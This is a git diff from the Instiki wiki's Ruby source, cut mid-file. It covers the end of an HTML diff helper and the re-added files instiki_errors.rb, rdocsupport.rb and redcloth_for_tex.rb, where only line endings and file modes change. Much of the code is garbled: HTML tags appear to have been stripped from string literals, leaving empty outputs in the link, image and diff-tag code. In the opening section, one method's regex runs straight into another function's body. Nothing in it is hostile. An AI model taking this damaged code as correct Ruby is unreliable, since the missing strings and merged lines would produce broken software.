equivalent to the first version of diff.rb by Bill Atkins + def op_helper_simple(tagname, tagclass, to_add) + @content << "<#{tagname} class=\"#{tagclass}\">" + @content += to_add + @content << "" + end + + # this tries to put

            tags or newline chars before the opening diff tags ( or ) + # or after the ending diff tags + # as a result the diff tags should be the "more inside" possible. + # this seems to work nice with html containing only paragraphs + # but not sure it works if there are other tags (div, span ... ? ) around + def op_helper(tagname, tagclass, to_add) + @content << to_add.shift while ( HTMLDiff.is_newline(to_add.first) or + HTMLDiff.is_p_close_tag(to_add.first) or + HTMLDiff.is_p_open_tag(to_add.first) ) + @content << "<#{tagname} class=\"#{tagclass}\">" + @content += to_add + last_tags = [] + last_tags.unshift(@content.pop) while ( HTMLDiff.is_newline(@content.last) or + HTMLDiff.is_p_close_tag(@content.last) or + HTMLDiff.is_p_open_tag(@content.last) ) + last_tags.unshift "" + @content += last_tags + remove_empty_diff(tagname, tagclass) + end + + def remove_empty_diff(tagname, tagclass) + if @content[-2] == "<#{tagname} class=\"#{tagclass}\">" and @content[-1] == "" then + @content.pop + @content.pop + end + end + + end + + def self.is_newline(x) + (x == "\n") or (x == "\r") or (x == "\t") + end + + def self.is_p_open_tag(x) + x =~ /\A<(p|li|ul|ol|dir|dt|dl)/ + end + + def self.is_p_close_tag(x) + x =~ %r!\A' + if b + cur += ']' + else + cur += c + end + out.push(cur) + cur = '' + mode = 'char' + else + cur += c + end + elsif mode == 'char' + if c == '<' + out.push cur + if b + cur = '[' + else + cur = c + end + mode = 'tag' + elsif /\s/.match c + out.push cur + c + cur = '' + else + cur += c + end + end + end + + out.push cur + # TODO: make something better here + out.each{|x| x.chomp! unless is_newline(x)} + out.find_all { |x| x != '' } + end + + +end + +if __FILE__ == $0 + + require 'pp' + # a = "

            this is the original string

            " # \n

            but around the world

            " + # b = "

            this is the original

            other parag

            string

            " + a = "
              \n\t
            • one
            • \n\t
            • two
            • \n
            " + b = "
              \n\t
            • one
            • \n\t
            • two\n\t
              • abc
            • \n
            " + puts a + pp HTMLDiff.html2list(a) + puts + puts b + pp HTMLDiff.html2list(b) + puts + puts HTMLDiff.diff(a, b) end \ No newline at end of file diff --git a/libraries/instiki_errors.rb b/libraries/instiki_errors.rb index 52efc571..0737ab46 100644 --- a/libraries/instiki_errors.rb +++ b/libraries/instiki_errors.rb @@ -1,15 +1,15 @@ -# Model methods that want to rollback transactions gracefully -# (i.e, returning the user back to the form from which the request was posted) -# should raise Instiki::ValidationError. -# -# E.g. if a model object does -# raise "Foo: '#{foo}' is not equal to Bar: '#{bar}'" if (foo != bar) -# -# then the operation is not committed; Rails returns the user to the page -# where s/he was entering foo and bar, and the error message will be displayed -# on the page - -module Instiki - class ValidationError < StandardError - end +# Model methods that want to rollback transactions gracefully +# (i.e, returning the user back to the form from which the request was posted) +# should raise Instiki::ValidationError. +# +# E.g. if a model object does +# raise "Foo: '#{foo}' is not equal to Bar: '#{bar}'" if (foo != bar) +# +# then the operation is not committed; Rails returns the user to the page +# where s/he was entering foo and bar, and the error message will be displayed +# on the page + +module Instiki + class ValidationError < StandardError + end end \ No newline at end of file diff --git a/libraries/rdocsupport.rb b/libraries/rdocsupport.rb old mode 100755 new mode 100644 index 62b84cb8..0aaf842f --- a/libraries/rdocsupport.rb +++ b/libraries/rdocsupport.rb @@ -1,152 +1,152 @@ -begin - require "rdoc/markup/simple_markup" - require 'rdoc/markup/simple_markup/to_html' -rescue LoadError - # use old version if available - require 'markup/simple_markup' - require 'markup/simple_markup/to_html' -end - -module RDocSupport - -# A simple +rdoc+ markup class which recognizes some additional -# formatting commands suitable for Wiki use. -class RDocMarkup < SM::SimpleMarkup - def initialize - super() - - pre = '(?:\\s|^|\\\\)' - - # links of the form - # [[ description with spaces]] - add_special(/((\\)?\[\[\S+?\s+.+?\]\])/,:TIDYLINK) - - # and external references - add_special(/((\\)?(link:|anchor:|http:|mailto:|ftp:|img:|www\.)\S+\w\/?)/, - :HYPERLINK) - - #
            - add_special(%r{(#{pre}
            )}, :BR) - - # and
            ...
            - add_html("center", :CENTER) - end - - def convert(text, handler) - super.sub(/^

            \n/, '').sub(/<\/p>$/, '') - end -end - -# Handle special hyperlinking requirments for RDoc formatted -# entries. Requires RDoc - -class HyperLinkHtml < SM::ToHtml - - # Initialize the HyperLinkHtml object. - # [path] location of the node - # [site] object representing the whole site (typically of class - # +Site+) - def initialize - super() - add_tag(:CENTER, "

            ", "
            ") - end - - # handle
            - def handle_special_BR(special) - return "<br/>" if special.text[0,1] == '\\' - special.text - end - - # We're invoked with a potential external hyperlink. - # [mailto:] just gets inserted. - # [http:] links are checked to see if they - # reference an image. If so, that image gets inserted - # using an tag. Otherwise a conventional - # is used. - # [img:] insert a tag - # [link:] used to insert arbitrary references - # [anchor:] used to create an anchor - def handle_special_HYPERLINK(special) - text = special.text.strip - return text[1..-1] if text[0,1] == '\\' - url = special.text.strip - if url =~ /([A-Za-z]+):(.*)/ - type = $1 - path = $2 - else - type = "http" - path = url - url = "http://#{url}" - end - - case type - when "http" - if url =~ /\.(gif|png|jpg|jpeg|bmp)$/ - "" - else - "#{url.sub(%r{^\w+:/*}, '')}" - end - when "img" - "" - when "link" - "#{path}" - when "anchor" - "" - else - "#{url.sub(%r{^\w+:/*}, '')}" - end - end - - # Here's a hyperlink where the label is different to the URL - # [[url label that may contain spaces]] - # - - def handle_special_TIDYLINK(special) - text = special.text.strip - return text[1..-1] if text[0,1] == '\\' - unless text =~ /\[\[(\S+?)\s+(.+?)\]\]/ - return text - end - url = $1 - label = $2 - label = RDocFormatter.new(label).to_html - label = label.split.select{|x| x =~ /\S/}. - map{|x| x.chomp}.join(' ') - - case url - when /link:(\S+)/ - return %{#{label}} - when /img:(\S+)/ - return %{#{label}} - when /rubytalk:(\S+)/ - return %{#{label}} - when /rubygarden:(\S+)/ - return %{#{label}} - when /c2:(\S+)/ - return %{#{label}} - when /isbn:(\S+)/ - return %{#{label}} - end - - unless url =~ /\w+?:/ - url = "http://#{url}" - end - - "#{label}" - end -end - -class RDocFormatter - def initialize(text) - @text = text - end - - def to_html - markup = RDocMarkup.new - h = HyperLinkHtml.new - markup.convert(@text, h) - end -end - +begin + require "rdoc/markup/simple_markup" + require 'rdoc/markup/simple_markup/to_html' +rescue LoadError + # use old version if available + require 'markup/simple_markup' + require 'markup/simple_markup/to_html' +end + +module RDocSupport + +# A simple +rdoc+ markup class which recognizes some additional +# formatting commands suitable for Wiki use. +class RDocMarkup < SM::SimpleMarkup + def initialize + super() + + pre = '(?:\\s|^|\\\\)' + + # links of the form + # [[ description with spaces]] + add_special(/((\\)?\[\[\S+?\s+.+?\]\])/,:TIDYLINK) + + # and external references + add_special(/((\\)?(link:|anchor:|http:|mailto:|ftp:|img:|www\.)\S+\w\/?)/, + :HYPERLINK) + + #
            + add_special(%r{(#{pre}
            )}, :BR) + + # and
            ...
            + add_html("center", :CENTER) + end + + def convert(text, handler) + super.sub(/^

            \n/, '').sub(/<\/p>$/, '') + end +end + +# Handle special hyperlinking requirments for RDoc formatted +# entries. Requires RDoc + +class HyperLinkHtml < SM::ToHtml + + # Initialize the HyperLinkHtml object. + # [path] location of the node + # [site] object representing the whole site (typically of class + # +Site+) + def initialize + super() + add_tag(:CENTER, "

            ", "
            ") + end + + # handle
            + def handle_special_BR(special) + return "<br/>" if special.text[0,1] == '\\' + special.text + end + + # We're invoked with a potential external hyperlink. + # [mailto:] just gets inserted. + # [http:] links are checked to see if they + # reference an image. If so, that image gets inserted + # using an tag. Otherwise a conventional + # is used. + # [img:] insert a tag + # [link:] used to insert arbitrary references + # [anchor:] used to create an anchor + def handle_special_HYPERLINK(special) + text = special.text.strip + return text[1..-1] if text[0,1] == '\\' + url = special.text.strip + if url =~ /([A-Za-z]+):(.*)/ + type = $1 + path = $2 + else + type = "http" + path = url + url = "http://#{url}" + end + + case type + when "http" + if url =~ /\.(gif|png|jpg|jpeg|bmp)$/ + "" + else + "#{url.sub(%r{^\w+:/*}, '')}" + end + when "img" + "" + when "link" + "#{path}" + when "anchor" + "" + else + "#{url.sub(%r{^\w+:/*}, '')}" + end + end + + # Here's a hyperlink where the label is different to the URL + # [[url label that may contain spaces]] + # + + def handle_special_TIDYLINK(special) + text = special.text.strip + return text[1..-1] if text[0,1] == '\\' + unless text =~ /\[\[(\S+?)\s+(.+?)\]\]/ + return text + end + url = $1 + label = $2 + label = RDocFormatter.new(label).to_html + label = label.split.select{|x| x =~ /\S/}. + map{|x| x.chomp}.join(' ') + + case url + when /link:(\S+)/ + return %{#{label}} + when /img:(\S+)/ + return %{#{label}} + when /rubytalk:(\S+)/ + return %{#{label}} + when /rubygarden:(\S+)/ + return %{#{label}} + when /c2:(\S+)/ + return %{#{label}} + when /isbn:(\S+)/ + return %{#{label}} + end + + unless url =~ /\w+?:/ + url = "http://#{url}" + end + + "#{label}" + end +end + +class RDocFormatter + def initialize(text) + @text = text + end + + def to_html + markup = RDocMarkup.new + h = HyperLinkHtml.new + markup.convert(@text, h) + end +end + end \ No newline at end of file diff --git a/libraries/redcloth_for_tex.rb b/libraries/redcloth_for_tex.rb old mode 100755 new mode 100644 index 7f7f52ce..fbf23688 --- a/libraries/redcloth_for_tex.rb +++ b/libraries/redcloth_for_tex.rb @@ -1,733 +1,733 @@ -# This is RedCloth (http://www.whytheluckystiff.net/ruby/redcloth/) -# converted by David Heinemeier Hansson to emit Tex - -class String - # Flexible HTML escaping - def texesc!( mode ) - gsub!( '&', '\\\\&' ) - gsub!( '%', '\%' ) - gsub!( '$', '\$' ) - end -end - - -def table_of_contents(text, pages) - text.gsub!( /^([#*]+? .*?)$(?![^#*])/m ) do |match| - lines = match.split( /\n/ ) - last_line = -1 - depth = [] - lines.each_with_index do |line, line_id| - if line =~ /^([#*]+) (.*)$/m - tl,content = $~[1..2] - content.gsub! /[\[\]]/, "" - content.strip! - - if depth.last - if depth.last.length > tl.length - (depth.length - 1).downto(0) do |i| - break if depth[i].length == tl.length - lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t" - depth.pop - end - end - if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length - lines[line_id - 1] << '' - end - end - - depth << tl unless depth.last == tl - - subsection_depth = [depth.length - 1, 2].min - - lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}" - lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content) - - lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0 - - last_line = line_id - - elsif line =~ /^\s+\S/ - last_line = line_id - elsif line_id - last_line < 2 and line =~ /^\S/ - last_line = line_id - end - if line_id - last_line > 1 or line_id == lines.length - 1 - depth.delete_if do |v| - lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}" - end - end - end - lines.join( "\n" ) - end -end - -class RedClothForTex < String - - VERSION = '2.0.7' - - # - # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. - # (from PyTextile) - # - TEXTILE_TAGS = - - [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], - [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], - [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], - [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], - [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. - - collect! do |a, b| - [a.chr, ( b.zero? and "" or "&#{ b };" )] - end - - # - # Regular expressions to convert to HTML. - # - A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ - A_VLGN = /[\-^~]/ - C_CLAS = '(?:\([^)]+\))' - C_LNGE = '(?:\[[^\]]+\])' - C_STYL = '(?:\{[^}]+\})' - S_CSPN = '(?:\\\\\d+)' - S_RSPN = '(?:/\d+)' - A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" - S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" - C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" - # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) - PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) - HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' - - GLYPHS = [ - # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing - [ /([^\s\[{(>])\'/, '\1’' ], # single closing - [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing - [ /\'/, '‘' ], # single opening - # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing - [ /([^\s\[{(>])"/, '\1”' ], # double closing - [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing - [ /"/, '“' ], # double opening - [ /\b( )?\.{3}/, '\1…' ], # ellipsis - [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym - [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps - [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash - [ /\s->\s/, ' → ' ], # en dash - [ /\s-\s/, ' – ' ], # en dash - [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign - [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark - [ /\b ?[(\[]R[\])]/i, '®' ], # registered - [ /\b ?[(\[]C[\])]/i, '©' ] # copyright - ] - - I_ALGN_VALS = { - '<' => 'left', - '=' => 'center', - '>' => 'right' - } - - H_ALGN_VALS = { - '<' => 'left', - '=' => 'center', - '>' => 'right', - '<>' => 'justify' - } - - V_ALGN_VALS = { - '^' => 'top', - '-' => 'middle', - '~' => 'bottom' - } - - QTAGS = [ - ['**', 'bf'], - ['*', 'bf'], - ['??', 'cite'], - ['-', 'del'], - ['__', 'underline'], - ['_', 'em'], - ['%', 'span'], - ['+', 'ins'], - ['^', 'sup'], - ['~', 'sub'] - ] - - def self.available? - if not defined? @@available - begin - @@available = system "pdflatex -version" - rescue Errno::ENOENT - @@available = false - end - end - @@available - end - - # - # Two accessor for setting security restrictions. - # - # This is a nice thing if you're using RedCloth for - # formatting in public places (e.g. Wikis) where you - # don't want users to abuse HTML for bad things. - # - # If +:filter_html+ is set, HTML which wasn't - # created by the Textile processor will be escaped. - # - # If +:filter_styles+ is set, it will also disable - # the style markup specifier. ('{color: red}') - # - attr_accessor :filter_html, :filter_styles - - # - # Accessor for toggling line folding. - # - # If +:fold_lines+ is set, single newlines will - # not be converted to break tags. - # - attr_accessor :fold_lines - - def initialize( string, restrictions = [] ) - restrictions.each { |r| method( "#{ r }=" ).call( true ) } - super( string ) - end - - # - # Generate tex. - # - def to_tex( lite = false ) - - # make our working copy - text = self.dup - - @urlrefs = {} - @shelf = [] - - # incoming_entities text - fix_entities text - clean_white_space text - - get_refs text - - no_textile text - - unless lite - lists text - table text - end - - glyphs text - - unless lite - fold text - block text - end - - retrieve text - encode_entities text - - text.gsub!(/\[\[(.*?)\]\]/, "\\1") - text.gsub!(/_/, "\\_") - text.gsub!( /<\/?notextile>/, '' ) - # text.gsub!( /x%x%/, '&' ) - # text.gsub!( /
            /, "
            \n" ) - text.strip! - text - - end - - def pgl( text ) - GLYPHS.each do |re, resub| - text.gsub! re, resub - end - end - - def pba( text_in, element = "" ) - - return '' unless text_in - - style = [] - text = text_in.dup - if element == 'td' - colspan = $1 if text =~ /\\(\d+)/ - rowspan = $1 if text =~ /\/(\d+)/ - style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN - end - - style << "#{ $1 };" if not @filter_styles and - text.sub!( /\{([^}]*)\}/, '' ) - - lang = $1 if - text.sub!( /\[([^)]+?)\]/, '' ) - - cls = $1 if - text.sub!( /\(([^()]+?)\)/, '' ) - - style << "padding-left:#{ $1.length }em;" if - text.sub!( /([(]+)/, '' ) - - style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) - - style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN - - cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ - - atts = '' - atts << " style=\"#{ style.join }\"" unless style.empty? - atts << " class=\"#{ cls }\"" unless cls.to_s.empty? - atts << " lang=\"#{ lang }\"" if lang - atts << " id=\"#{ id }\"" if id - atts << " colspan=\"#{ colspan }\"" if colspan - atts << " rowspan=\"#{ rowspan }\"" if rowspan - - atts - end - - def table( text ) - text << "\n\n" - text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches| - - tatts, fullrow = $~[1..2] - tatts = pba( tatts, 'table' ) - rows = [] - - fullrow. - split( /\|$/m ). - delete_if { |x| x.empty? }. - each do |row| - - ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m - - cells = [] - row.split( '|' ).each do |cell| - ctyp = 'd' - ctyp = 'h' if cell =~ /^_/ - - catts = '' - catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ - - unless cell.strip.empty? - cells << "\t\t\t#{ cell }" - end - end - rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" - end - "\t\n#{ rows.join( "\n" ) }\n\t\n\n" - end - end - - def lists( text ) - text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match| - lines = match.split( /\n/ ) - last_line = -1 - depth = [] - lines.each_with_index do |line, line_id| - if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m - tl,atts,content = $~[1..3] - if depth.last - if depth.last.length > tl.length - (depth.length - 1).downto(0) do |i| - break if depth[i].length == tl.length - lines[line_id - 1] << "\n\t\\end{#{ lT( depth[i] ) }}\n\t" - depth.pop - end - end - if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length - lines[line_id - 1] << '' - end - end - unless depth.last == tl - depth << tl - atts = pba( atts ) - lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }" - else - lines[line_id] = "\t\t\\item #{ content }" - end - last_line = line_id - - elsif line =~ /^\s+\S/ - last_line = line_id - elsif line_id - last_line < 2 and line =~ /^\S/ - last_line = line_id - end - if line_id - last_line > 1 or line_id == lines.length - 1 - depth.delete_if do |v| - lines[last_line] << "\n\t\\end{#{ lT( v ) }}" - end - end - end - lines.join( "\n" ) - end - end - - def lT( text ) - text =~ /\#$/ ? 'enumerate' : 'itemize' - end - - def fold( text ) - text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" ) - # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
            ' }" ) - end - - def block( text ) - pre = false - find = ['bq','h[1-6]','fn\d+'] - - regexp_cue = [] - - lines = text.split( /\n/ ) + [' '] - new_text = - lines.collect do |line| - pre = true if line =~ /<(pre|notextile)>/i - find.each do |tag| - line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m| - tag,atts,cite,content = $~[1..4] - - atts = pba( atts ) - - if tag =~ /fn(\d+)/ - # tag = 'p'; - # atts << " id=\"fn#{ $1 }\"" - regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ] - content = "" - end - - if tag =~ /h([1-6])/ - section_type = "sub" * [$1.to_i - 1, 2].min - start = "\t\\#{section_type}section*{" - tend = "}" - end - - if tag == "bq" - cite = check_refs( cite ) - cite = " cite=\"#{ cite }\"" if cite - start = "\t\\begin{quotation}\n\\noindent {\\em "; - tend = "}\n\t\\end{quotation}"; - end - - "#{ start }#{ content }#{ tend }" - end unless pre - end - - #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

            \\1

            " ) - - #line.gsub!( "
            ", "\n" ) if pre - # pre = false if line =~ /<\/(pre|notextile)>/i - - line - end.join( "\n" ) - text.replace( new_text ) - regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) } - end - - def span( text ) - QTAGS.each do |tt, ht| - ttr = Regexp::quote( tt ) - text.gsub!( - - /(^|\s|\>|[#{PUNCT}{(\[]) - #{ttr} - (#{C}) - (?::(\S+?))? - ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) - ([#{PUNCT}]*?) - #{ttr} - (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm - - ) do |m| - - start,atts,cite,content,tend = $~[1..5] - atts = pba( atts ) - atts << " cite=\"#{ cite }\"" if cite - - "#{ start }{\\#{ ht } #{ content }#{ tend }}" - - end - end - end - - def links( text ) - text.gsub!( / - ([\s\[{(]|[#{PUNCT}])? # $pre - " # start - (#{C}) # $atts - ([^"]+?) # $text - \s? - (?:\(([^)]+?)\)(?="))? # $title - ": - (\S+?) # $url - (\/)? # $slash - ([^\w\/;]*?) # $post - (?=\s|$) - /x ) do |m| - pre,atts,text,title,url,slash,post = $~[1..7] - - url = check_refs( url ) - - atts = pba( atts ) - atts << " title=\"#{ title }\"" if title - atts = shelve( atts ) if atts - - "#{ pre }#{ text }#{ post }" - end - end - - def get_refs( text ) - text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m| - flag, url = $~[1..2] - @urlrefs[flag] = url - end - end - - def check_refs( text ) - @urlrefs[text] || text - end - - def image( text ) - text.gsub!( / - \! # opening - (\<|\=|\>)? # optional alignment atts - (#{C}) # optional style,class atts - (?:\. )? # optional dot-space - ([^\s(!]+?) # presume this is the src - \s? # optional space - (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title - \! # closing - (?::#{ HYPERLINK })? # optional href - /x ) do |m| - algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] - atts = pba( atts ) - atts << " align=\"#{ i_align( algn ) }\"" if algn - atts << " title=\"#{ title }\"" if title - atts << " alt=\"#{ title }\"" - # size = @getimagesize($url); - # if($size) $atts.= " $size[3]"; - - href = check_refs( href ) if href - url = check_refs( url ) - - out = '' - out << "" if href - out << "" - out << "#{ href_a1 }#{ href_a2 }" if href - - out - end - end - - def code( text ) - text.gsub!( / - (?:^|([\s\(\[{])) # 1 open bracket? - @ # opening - (?:\|(\w+?)\|)? # 2 language - (\S(?:[^\n]|\n(?!\n))*?) # 3 code - @ # closing - (?:$|([\]})])| - (?=[#{PUNCT}]{1,2}| - \s)) # 4 closing bracket? - /x ) do |m| - before,lang,code,after = $~[1..4] - lang = " language=\"#{ lang }\"" if lang - "#{ before }#{ code }
            #{ after }" - end - end - - def shelve( val ) - @shelf << val - " <#{ @shelf.length }>" - end - - def retrieve( text ) - @shelf.each_with_index do |r, i| - text.gsub!( " <#{ i + 1 }>", r ) - end - end - - def incoming_entities( text ) - ## turn any incoming ampersands into a dummy character for now. - ## This uses a negative lookahead for alphanumerics followed by a semicolon, - ## implying an incoming html entity, to be skipped - - text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) - end - - def encode_entities( text ) - ## Convert high and low ascii to entities. - # if $-K == "UTF-8" - # encode_high( text ) - # else - text.texesc!( :NoQuotes ) - # end - end - - def fix_entities( text ) - ## de-entify any remaining angle brackets or ampersands - text.gsub!( "\&", "&" ) - text.gsub!( "\%", "%" ) - end - - def clean_white_space( text ) - text.gsub!( /\r\n/, "\n" ) - text.gsub!( /\t/, '' ) - text.gsub!( /\n{3,}/, "\n\n" ) - text.gsub!( /\n *\n/, "\n\n" ) - text.gsub!( /"$/, "\" " ) - end - - def no_textile( text ) - text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, - '\1\2\3' ) - end - - def footnote_ref( text ) - text.gsub!( /\[([0-9]+?)\](\s)?/, - '\footnote{\1}\2') - #'\1\2' ) - end - - def inline( text ) - image text - links text - code text - span text - end - - def glyphs_deep( text ) - codepre = 0 - offtags = /(?:code|pre|kbd|notextile)/ - if text !~ /<.*>/ - # pgl text - footnote_ref text - else - used_offtags = {} - text.gsub!( /(?:[^<].*?(?=<[^\n]*?>|$)|<[^\n]*?>+)/m ) do |line| - tagline = ( line =~ /^<.*>/ ) - - ## matches are off if we're between ,
             etc.
            -          if tagline
            -            if line =~ /<(#{ offtags })>/i
            -              codepre += 1
            -              used_offtags[$1] = true
            -              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
            -            elsif line =~ /<\/(#{ offtags })>/i
            -              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
            -              codepre -= 1 unless codepre.zero?
            -              used_offtags = {} if codepre.zero?
            -            elsif @filter_html or codepre > 0
            -              line.texesc!( :NoQuotes )
            -              ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
            -            end 
            -            ## do htmlspecial if between 
            -          elsif codepre > 0
            -            line.texesc!( :NoQuotes )
            -            ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
            -          elsif not tagline
            -            inline line
            -            glyphs_deep line
            -          end
            -          
            -          line
            -        end
            -      end
            -    end
            -    
            -    def glyphs( text ) 
            -      text.gsub!( /"\z/, "\" " )
            -      ## if no html, do a simple search and replace...
            -      if text !~ /<.*>/
            -        inline text
            -      end
            -      glyphs_deep text
            -    end
            -    
            -    def i_align( text )
            -      I_ALGN_VALS[text]
            -    end
            -    
            -    def h_align( text ) 
            -      H_ALGN_VALS[text]
            -    end
            -    
            -    def v_align( text ) 
            -      V_ALGN_VALS[text]
            -    end
            -    
            -    def encode_high( text )
            -      ## mb_encode_numericentity($text, $cmap, $charset);
            -    end
            -    
            -    def decode_high( text )
            -      ## mb_decode_numericentity($text, $cmap, $charset);
            -    end
            -    
            -    def textile_popup_help( name, helpvar, windowW, windowH )
            -        ' ' + name + '
            ' - end - - CMAP = [ - 160, 255, 0, 0xffff, - 402, 402, 0, 0xffff, - 913, 929, 0, 0xffff, - 931, 937, 0, 0xffff, - 945, 969, 0, 0xffff, - 977, 978, 0, 0xffff, - 982, 982, 0, 0xffff, - 8226, 8226, 0, 0xffff, - 8230, 8230, 0, 0xffff, - 8242, 8243, 0, 0xffff, - 8254, 8254, 0, 0xffff, - 8260, 8260, 0, 0xffff, - 8465, 8465, 0, 0xffff, - 8472, 8472, 0, 0xffff, - 8476, 8476, 0, 0xffff, - 8482, 8482, 0, 0xffff, - 8501, 8501, 0, 0xffff, - 8592, 8596, 0, 0xffff, - 8629, 8629, 0, 0xffff, - 8656, 8660, 0, 0xffff, - 8704, 8704, 0, 0xffff, - 8706, 8707, 0, 0xffff, - 8709, 8709, 0, 0xffff, - 8711, 8713, 0, 0xffff, - 8715, 8715, 0, 0xffff, - 8719, 8719, 0, 0xffff, - 8721, 8722, 0, 0xffff, - 8727, 8727, 0, 0xffff, - 8730, 8730, 0, 0xffff, - 8733, 8734, 0, 0xffff, - 8736, 8736, 0, 0xffff, - 8743, 8747, 0, 0xffff, - 8756, 8756, 0, 0xffff, - 8764, 8764, 0, 0xffff, - 8773, 8773, 0, 0xffff, - 8776, 8776, 0, 0xffff, - 8800, 8801, 0, 0xffff, - 8804, 8805, 0, 0xffff, - 8834, 8836, 0, 0xffff, - 8838, 8839, 0, 0xffff, - 8853, 8853, 0, 0xffff, - 8855, 8855, 0, 0xffff, - 8869, 8869, 0, 0xffff, - 8901, 8901, 0, 0xffff, - 8968, 8971, 0, 0xffff, - 9001, 9002, 0, 0xffff, - 9674, 9674, 0, 0xffff, - 9824, 9824, 0, 0xffff, - 9827, 9827, 0, 0xffff, - 9829, 9830, 0, 0xffff, - 338, 339, 0, 0xffff, - 352, 353, 0, 0xffff, - 376, 376, 0, 0xffff, - 710, 710, 0, 0xffff, - 732, 732, 0, 0xffff, - 8194, 8195, 0, 0xffff, - 8201, 8201, 0, 0xffff, - 8204, 8207, 0, 0xffff, - 8211, 8212, 0, 0xffff, - 8216, 8218, 0, 0xffff, - 8218, 8218, 0, 0xffff, - 8220, 8222, 0, 0xffff, - 8224, 8225, 0, 0xffff, - 8240, 8240, 0, 0xffff, - 8249, 8250, 0, 0xffff, - 8364, 8364, 0, 0xffff - ] - end +# This is RedCloth (http://www.whytheluckystiff.net/ruby/redcloth/) +# converted by David Heinemeier Hansson to emit Tex + +class String + # Flexible HTML escaping + def texesc!( mode ) + gsub!( '&', '\\\\&' ) + gsub!( '%', '\%' ) + gsub!( '$', '\$' ) + end +end + + +def table_of_contents(text, pages) + text.gsub!( /^([#*]+? .*?)$(?![^#*])/m ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ /^([#*]+) (.*)$/m + tl,content = $~[1..2] + content.gsub! /[\[\]]/, "" + content.strip! + + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t" + depth.pop + end + end + if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + + depth << tl unless depth.last == tl + + subsection_depth = [depth.length - 1, 2].min + + lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}" + lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content) + + lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0 + + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}" + end + end + end + 